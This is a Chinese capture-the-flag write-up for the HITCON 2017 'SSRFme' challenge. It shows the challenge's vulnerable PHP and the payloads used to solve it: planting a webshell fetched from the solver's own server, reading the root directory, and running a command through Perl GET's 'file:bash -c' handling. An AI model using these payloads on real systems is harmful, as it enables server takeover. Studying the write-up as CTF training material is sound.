[HITCON 2017]SSRFme

发布于 2021-09-12  72 次阅读


知识要点:

perl脚本中GET命令执行漏洞

解题过程:

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
   $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
   $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox); //改变目录

$data = shell_exec("GET " . escapeshellarg($_GET["url"])); //escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
$info = pathinfo($_GET["filename"]); //pathinfo — 返回文件路径的信息
$dir  = str_replace(".", "", basename($info["dirname"])); //返回路径中的文件名部分 并将. 替换为空格
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data); //将一个字符串写入文件
highlight_file(__FILE__);

代码审计之后,发现根据IP可以计算出,文件存储路径sandbox/md5(orange+$_SERVER["REMOTE_ADDR"]) url可以执行shell命令,filename控制写入文件名。

远程SSRF

?url=ip:port/1.php&filename=husins.php

在自己的VPS上面编写一句话木马文件,远程 写入到目标机器中,然后访问目标文件夹获取webshell得到flag

本地SSRF

?url=/&filename=husins

使用这个payload能够读取到根目录信息,在执行

?url=file:bash -c /readflag|&filename=123

总结反思:

  1. 对很多php的函数还是不够熟悉
  2. 回头要单独弄一弄GET命令执行漏洞
  3. 不要有畏难情绪,遇到问题用于解决它

参考文章:

https://blog.csdn.net/qq_45521281/article/details/105868449

https://blog.csdn.net/solitudi/article/details/108909609